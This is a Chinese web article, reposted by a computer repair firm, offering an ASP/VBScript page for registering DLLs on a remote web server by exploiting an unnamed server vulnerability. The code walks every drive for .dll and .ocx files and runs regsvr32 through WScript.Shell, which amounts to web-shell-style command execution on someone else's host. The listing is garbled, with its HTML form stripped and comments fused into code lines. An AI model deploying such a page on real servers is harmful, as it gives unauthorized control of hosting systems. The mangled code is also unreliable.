设为主页 | 加入收藏 | 繁體中文

利用服务器漏洞远程注册DLL

  我和朋友一起下载了一个相同的组件,苦于无法注册而没用,但近来我发现他在使用这个组件,显然是已经注册了,好稀罕,他是怎样注册的呢?我问他他不说。
  实在,我们在ASP中,是有捷径远程注册DLL的,但必要对方服务器漏洞的“共同”(什么漏洞?我可什么都没说啊,本身看)。尝尝上面的代码,或许荣幸乐成呢:
  .Legend {FONT-FAMILY: veranda; FONT-SIZE: 14px; FONT-WEIGHT: bold; COLOR: blue}
  .FS {FONT-FAMILY: veranda; FONT-SIZE: 12px; BORDER-WIDTH: 4px; BORDER-COLOR: green;
  MARGIN-LEFT:2px; MARGIN-RIGHT:2px}
  TD {MARGIN-LEFT:6px; MARGIN-RIGHT:6px; PADDING-LEFT:12px; PADDING-RIGHT:12px}
  注册DLL
  敲入到DLL目录的途径
  " name=frmFolderPath>
  "" OR btnREG "" Then
  Set RegisterFiles = New clsRegister
  RegisterFiles.EchoB("Select File")
  Call RegisterFiles.init(frmFolderPath)
  RegisterFiles.EchoB("
  ")
  IF Request.Form("btnREG") "" Then
  Call RegisterFiles.Register(frmFilePath, frmMethod)
  End IF
  Set RegisterFiles = Nothing
  End IF
  %>
  Root to Search (c:, d:, e:)
  Dim oDrive, oRootDir
  IF oFS.FolderExists(strRoot) Then
  IF Len(strRoot) Must Be a Drive
  Set oDrive = oFS.GetDrive(strRoot)
  Set oRootDir = oDrive.RootFolder
  Else
  Set oRootDir = oFS.GetFolder(strRoot)
  End IF
  Else
  EchoB("噢,文件夹( " & strRoot & " )没找到!")
  Exit Sub
  End IF
  setRoot = oRootDir
  Echo("")
  Call getAllDlls(oRootDir)
  EchoB("")
  BuildOptions
  End Sub
  Sub getAllDlls(oParentFolder)
  Dim oSubFolders, oFile, oFiles
  Set oSubFolders = oParentFolder.SubFolders
  Set opFiles = oParentFolder.Files
  For Each oFile in opFiles
  IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then
  Echo("" _
  & oFile.Name & "")
  End IF
  Next
  On Error Resume Next
  For Each oFolder In oSubFolders Iterate All Folders in Drive
  Set oFiles = oFolder.Files
  For Each oFile in oFiles
  IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then
  Echo("" _
  & oFile.Name & "")
  End IF
  Next
  Call getAllDlls(oFolder)
  Next
  On Error GoTo 0
  End Sub
  Sub Register(strFilePath, regMethod)
  Dim theFile, strFile, oShell, exitcode
  Set theFile = oFS.GetFile(strFilePath)
  strFile = theFile.Path
  Set oShell = CreateObject ("WScript.Shell")
  IF regMethod = "REG" Then Register
  oShell.Run "c:\WINNT\system32\regsvr32.exe /s " & strFile, 0, False
  exitcode = oShell.Run("c:\WINNT\system32\regsvr32.exe /s " & strFile, 0, False)
  EchoB("regsvr32.exe exitcode = " & exitcode)
  Else unRegister
  oShell.Run "c:\WINNT\system32\regsvr32.exe /u/s " & strFile, 0, False
  exitcode = oShell.Run("c:\WINNT\system32\regsvr32.exe /u/s " & strFile, 0, False)
  EchoB("regsvr32.exe exitcode = " & exitcode)
  End IF
  Cleanup oShell
  End Sub
  Sub BuildOptions
  EchoB("Register: ")
  EchoB("unRegister: ")
  End Sub
  Function Echo(str)
  Echo = Response.Write(str & vbCrLf)
  End Function
  Function EchoB(str)
  EchoB = Response.Write(str & "
  " & vbCrLf)
  End Function
  Sub Cleanup(obj)
  If isObject(obj) Then
  Set obj = Nothing
  End IF
  End Sub
  Sub Class_Terminate()
  Cleanup oFS
  End Sub
  End Class
  %>
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: